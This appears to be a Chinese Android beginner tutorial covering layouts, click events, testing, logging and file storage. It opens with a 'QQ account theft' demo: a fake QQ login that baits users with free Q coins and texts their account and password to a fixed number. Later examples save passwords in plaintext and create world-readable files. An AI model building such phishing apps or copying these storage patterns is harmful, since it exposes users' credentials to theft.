Android02

Android基础02总结

常见的单位

*px实际像素

不常用

*dp独立像素

推荐使用,宽高大小

*sp比例像素

文字使用

案例:QQ盗号

界面

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:gravity="center_horizontal"
    android:orientation="vertical"
    tools:context=".MainActivity" >

    <ImageView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:src="@drawable/qq" />

    <EditText
        android:id="@+id/et_qq"
        android:layout_width="200dp"
        android:layout_height="wrap_content"
        android:hint="QQ/邮箱/手机号码" />

    <EditText
        android:id="@+id/et_pwd"
        android:layout_width="200dp"
        android:layout_height="wrap_content"
        android:hint="请输入密码"
        android:inputType="textPassword" />

    <Button
        android:id="@+id/bt_send"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="登录领取Q币" />

</LinearLayout>

逻辑

public class MainActivity extends Activity {

    private EditText et_qq;
    private EditText et_pwd;
    private Button bt_send;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        et_qq = (EditText) findViewById(R.id.et_qq);
        et_pwd = (EditText) findViewById(R.id.et_pwd);
        bt_send = (Button) findViewById(R.id.bt_send);

        bt_send.setOnClickListener(new MyListener());

    }

    private class MyListener implements OnClickListener{

        @Override
        public void onClick(View v) {
            String qq = et_qq.getText().toString().trim();
            String pwd = et_pwd.getText().toString().trim();
            if (TextUtils.isEmpty(qq) || TextUtils.isEmpty(pwd)) {
                Toast.makeText(MainActivity.this, "输入的为空", 0).show();
                return ;
            }
            SmsManager smsManager = SmsManager.getDefault();
            smsManager.sendTextMessage("5556", null, qq+"---"+pwd, null, null);

        }
    }
}

短信权限

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.heima.demo"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="14"
        android:targetSdkVersion="18" />
    <uses-permission android:name="android.permission.SEND_SMS"/>

    <application
        android:allowBackup="true"
        android:icon="@drawable/qq"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.heima.demo.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

*布局的补充:Gravity

android:layout_gravity 与 android:gravity 的区别

layout_gravity是在看外面的控件,调整自己的位置
gravity是自己调整自己文字的位置

*编码逻辑

1.先画出前台页面,在res/layout的布局文件,一般是EditText和Button

2.在src里面找到findViewById

3.处理业务逻辑

4.添加清单文件权限

四种点事件的写法

1.写一个实现类去实现点击事件

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >

    <Button
        android:id="@+id/button1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Button" />

</LinearLayout>

public class MainActivity extends Activity {


    /*
     * 点击事件的四种写法
     */
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button b1 = (Button) findViewById(R.id.button1);

        b1.setOnClickListener(new MyListener());

    }

    private class MyListener implements OnClickListener{
        @Override
        public void onClick(View v) {
            Toast.makeText(MainActivity.this, "demo01", 0).show();
        }
    }
}

2.用匿名内部类去实现点击事件

@Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button b1 = (Button) findViewById(R.id.button1);

        b1.setOnClickListener(new OnClickListener() {

            @Override
            public void onClick(View v) {
                Toast.makeText(MainActivity.this, "demo01", 0).show();
            }
        });

    }

3.用switch去选择,要实现一个接口

public class MainActivity extends Activity  implements OnClickListener{
        @Override
        protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button b3 = (Button) findViewById(R.id.button3);
    }
}

    @Override
public void onClick(View v) {
    Toast.makeText(MainActivity.this, "button3", 0).show();
}

4.在资源文件中配置

 <Button
    android:onClick="bOnClick"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:text="Button4" />

public void bOnClick(View v) {
    Toast.makeText(MainActivity.this, "button4", 0).show();
}

测试相关的概念

*黑盒测试

不知道软件的源代码

*白盒测试

知道应用程序的源代码

测试的粒度

*单元测试 junit test
1.在src下创建一个测试的文件,一个被测试的文件

public class CalcService {

    public int add(int x, int y){
        return x+y;
    }
}

public class TestCalcService extends AndroidTestCase {

    public void testAdd() throws Exception{
        CalcService calcService = new CalcService();
        int sum = calcService.add(1, 2);
        assertEquals(4, sum);
    }
}

2.配置清单,配置2个东西

主要的是测试的指令集和测试需要的jar包

其中,测试的指令集中的android:targetPackage=”com.heima.demo”,要写自己R文件的路径

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.heima.demo"
    android:versionCode="1"
    android:versionName="1.0" >

    <!-- 测试的指令集 -->
    <instrumentation
        android:name="android.test.InstrumentationTestRunner"
    android:targetPackage="com.heima.demo" >
</instrumentation>

<uses-sdk
    android:minSdkVersion="16"
    android:targetSdkVersion="18" />

<application
    android:allowBackup="true"
    android:icon="@drawable/ic_launcher"
    android:label="@string/app_name"
    android:theme="@style/AppTheme" >

    <!-- 测试需要的jar包 -->
    <uses-library android:name="android.test.runner" />

    <activity
        android:name="com.heima.demo.MainActivity"
        android:label="@string/app_name" >
        <intent-filter>
            <action android:name="android.intent.action.MAIN" />

            <category android:name="android.intent.category.LAUNCHER" />
        </intent-filter>
    </activity>
</application>

</manifest>

*集成测试 intergration test

*系统测试 system test

测试的程度

*压力测试(pressure test)

*冒烟测试(smoke test)

monkey 猴子

cmd
adb shell
monkey
monkey 1000

logcat的使用

把应用程序的执行的log打印输出

public class MainActivity extends Activity {

    private String tag = "MainActivity"; 

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Log.v(tag, "我是verbose级别的日志");
        Log.d(tag, "我是debug级别的日志");
        Log.i(tag, "我是info级别的日志");
        Log.w(tag, "我是警告级别的日志");
        Log.e(tag, "我是错误级别的日志");
        Log.wtf(tag, "重大异常");

    }
}

System.out.println();相对于
Log.i()

QQ登录的ui界面

*思路

1.先画出界面

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:gravity="center_horizontal"
    android:orientation="vertical"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >

    <ImageView
        android:id="@+id/imageView1"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:src="@drawable/qq" />

    <EditText
        android:id="@+id/editText1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:ems="10" >

        <requestFocus />
    </EditText>

    <EditText
        android:id="@+id/editText2"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:ems="10"
        android:inputType="textPassword" />

    <CheckBox
        android:id="@+id/checkBox1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="记住密码" />

    <Button
        android:id="@+id/button1"
        android:layout_width="200dip"
        android:layout_height="wrap_content"
        android:onClick="login"
        android:text="登录" />

</LinearLayout>

2.得到控件

3.设置点击事件

4.回显数据

public class MainActivity extends Activity {

    private EditText editText1;
    private EditText editText2;
    private CheckBox checkBox1;
    private Button button1;
    private static final String TAG ="MainActivity";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        editText1 = (EditText) findViewById(R.id.editText1);
        editText2 = (EditText) findViewById(R.id.editText2);
        checkBox1 = (CheckBox) findViewById(R.id.checkBox1);
        button1 = (Button) findViewById(R.id.button1);
        //第二次进入回显数据
//      File file = new File("/data/data/com.heima/info.txt");
//      File file = new File(getFilesDir(),"info.txt");
        File file = new File(getCacheDir(),"info.txt");//getCacheDir()是灵活获取路径
        if (file.exists() && file.length() > 0) {
            //读取文件显示
            try {
                BufferedReader br = new BufferedReader(new FileReader(file));
                String readLine = br.readLine();
                String[] split = readLine.split(",");
                editText1.setText(split[0]);
                editText2.setText(split[1]);

            } catch (Exception e) {

                e.printStackTrace();
            }


        }

    }
    public void login(View  view){
        //判断是否是空
        String qq = editText1.getText().toString().trim();
        String pwd = editText2.getText().toString().trim();

        if (TextUtils.isEmpty(qq) || TextUtils.isEmpty(pwd)) {
            Toast.makeText(this, "用户名和密码不能为空", 0).show();
            return ;
        }
        //得到勾选的状态,判断是否记住密码
        if (checkBox1.isChecked()) {
            Log.i(TAG , "记住密码");
            //保存数据到文件
//          File file = new File("/data/data/com.heima/info.txt");
//          File file = new File(getFilesDir(),"info.txt");//getFilesDir()是灵活获取路径
            File file = new File(getCacheDir(),"info.txt");//getCacheDir()是灵活获取路径
            try {
                FileOutputStream os = new FileOutputStream(file);
                os.write((qq+","+pwd).getBytes());
                os.close();
                Toast.makeText(this, "数据保存成功", 0).show();
            } catch (Exception e) {
                e.printStackTrace();
                Toast.makeText(this, "数据保存失败", 0).show();
            }
        } else {//不需要记住密码
            Log.i(TAG , "不需要记住密码");
        }
    }

}

*getFilesDir()是灵活获取文件存放路径
*getCacheDir()是灵活获取缓存路径

Android的文件存储

*私有文件的存储

应用程序可以吧数据存储在总结私有的文件夹里面.只能存储在自己的文件夹

应用程序可以把数据存储在外存储卡,sd卡(声明权限)

Environment.getExternalStorageDirectory()//获取外部存储卡的目录检查sb卡是否可用,检查sb卡的剩余空间

public class MainActivity extends Activity {

    private EditText editText1;
    private EditText editText2;
    private CheckBox checkBox1;
    private Button button1;
    private static final String TAG ="MainActivity";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        editText1 = (EditText) findViewById(R.id.editText1);
        editText2 = (EditText) findViewById(R.id.editText2);
        checkBox1 = (CheckBox) findViewById(R.id.checkBox1);
        button1 = (Button) findViewById(R.id.button1);
        //第二次进入回显数据
        File file = new File(Environment.getExternalStorageDirectory(),
                "info.txt");
        if (file.exists() && file.length() > 0) {
            //读取文件显示
            try {
                BufferedReader br = new BufferedReader(new FileReader(file));
                String readLine = br.readLine();
                String[] split = readLine.split(",");
                editText1.setText(split[0]);
                editText2.setText(split[1]);

            } catch (Exception e) {

                e.printStackTrace();
            }


        }

    }
    public void login(View  view){
        //判断是否是空
        String qq = editText1.getText().toString().trim();
        String pwd = editText2.getText().toString().trim();

        if (TextUtils.isEmpty(qq) || TextUtils.isEmpty(pwd)) {
            Toast.makeText(this, "用户名和密码不能为空", 0).show();
            return ;
        }
        //得到勾选的状态,判断是否记住密码
        if (checkBox1.isChecked()) {
            try {
                Log.i(TAG, "记住密码");
                // 判断SDcard是否挂载
                if (!Environment.getExternalStorageState().equals(
                        Environment.MEDIA_MOUNTED)) {// 不是挂载的
                    Toast.makeText(this, "可用空间:", 0).show();
                }
                // 判断SDcard可用空间大小
                long freeSpace = Environment.getExternalStorageDirectory()
                        .getFreeSpace();
                String info = Formatter.formatFileSize(this, freeSpace);
                Toast.makeText(this, "可用空间是:" + info, 0).show();

                // 读写数据到SDcard
                File file = new File(Environment.getExternalStorageDirectory(),
                        "info.txt");
                FileOutputStream os = new FileOutputStream(file);
                os.write((qq + "," + pwd).getBytes());
                os.close();
                Toast.makeText(this, "数据保存成功", 0).show();
            } catch (Exception e) {
                e.printStackTrace();
                Toast.makeText(this, "数据保存失败", 0).show();
            }
        } else {//不需要记住密码
            Log.i(TAG , "不需要记住密码");
        }
    }

}

/data/data/<包名>/…,包名是R文件的包

上下文

*上下文(this).getFileDir()—>/data/data/<包名>/files 保存重要配置信息

*上下文(this).getCacheDie()–>/data/data/<包名>/cache 缓存目录

*公有文件的存储
*外部文件SDcard存储

Android文件的访问权限

*应用程序在data/data自己包名/目录下创建的文件默认都是私有的,别的应用程序是不可以访问的.

*四种访问权限

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity" >

    <Button
        android:id="@+id/button1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:onClick="getPrivateFile"
        android:text="生成私用文件" />

    <Button
        android:id="@+id/button2"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:onClick="getPublicFile"
        android:text="生成可读可写的文件" />

    <Button
        android:id="@+id/button3"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:onClick="getReadOnleFile"
        android:text="生成只读的文件" />

    <Button
        android:id="@+id/button4"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:onClick="getWirteOnlyFile"
        android:text="生成只写的文件" />

</LinearLayout>

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
    public void getPrivateFile(View view){
        File file = new File(getFilesDir(), "private.txt");
        try {
            FileOutputStream os = new FileOutputStream(file);
            os.write("private".getBytes());
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public void getPublicFile(View view){
        try {
            FileOutputStream os = openFileOutput("public.txt",
                    MODE_WORLD_WRITEABLE + MODE_WORLD_READABLE);
            os.write("public".getBytes());
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public void getReadOnleFile(View view){

        try {
            FileOutputStream os = openFileOutput("readonly.txt",
                    MODE_WORLD_READABLE);
            os.write("readonly".getBytes());
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public void getWirteOnlyFile(View view){
        try {
            FileOutputStream os = openFileOutput("writeonly.txt",
                    MODE_WORLD_READABLE);
            os.write("write".getBytes());
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

*其他文件

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    android:orientation="vertical"
    tools:context=".MainActivity" >

    <Button
        android:id="@+id/button1"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:onClick="read"
        android:text="读文件" />

    <Button
        android:id="@+id/Button01"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:onClick="write"
        android:text="写文件" />

</LinearLayout>

public class MainActivity extends Activity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
    public void read(View view){
        try {
            File file = new File(getFilesDir().getAbsoluteFile(), "read.txt");
            BufferedReader r = new BufferedReader(new InputStreamReader(new FileInputStream(file)));
            String readLine = r.readLine();
            r.close();
            Toast.makeText(this, readLine,Toast.LENGTH_SHORT ).show();
        } catch (Exception e) {
            Toast.makeText(this, "读取失败",Toast.LENGTH_SHORT ).show();
            e.printStackTrace();
        }
    }
    public void write(View view){
        try { 
            File file = new File(getFilesDir().getAbsoluteFile(), "read.txt");
            FileOutputStream o = new FileOutputStream(file);
            o.write("写入新内容".getBytes());
            o.close();
            Toast.makeText(this, "写入成功",Toast.LENGTH_SHORT ).show();
        } catch (Exception e) {
            Toast.makeText(this, "写入失败",Toast.LENGTH_SHORT ).show();
            e.printStackTrace();
        }
    }
}

-rw-rw-rw-

文件是可读可写的 666

只读 664
-rw-rw-r–
只写 662
-rw-re–w
私有 600
-rw—–

私有的文件,存放在data/data/<包名称>只能够自己访问

采用Linux指令,查看文件的权限

adb shell
cd data/data/com.heima
ls -l
drwxrwx--x u0_a44   u0_a44
-rw-rw-rw- root     root
drwxr-xr-x system   system
chomd 662 info.txt
ls -l;
drwxrwx--x u0_a44   u0_a44        
-rw-rw--w- root     root           
drwxr-xr-x system   system            
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值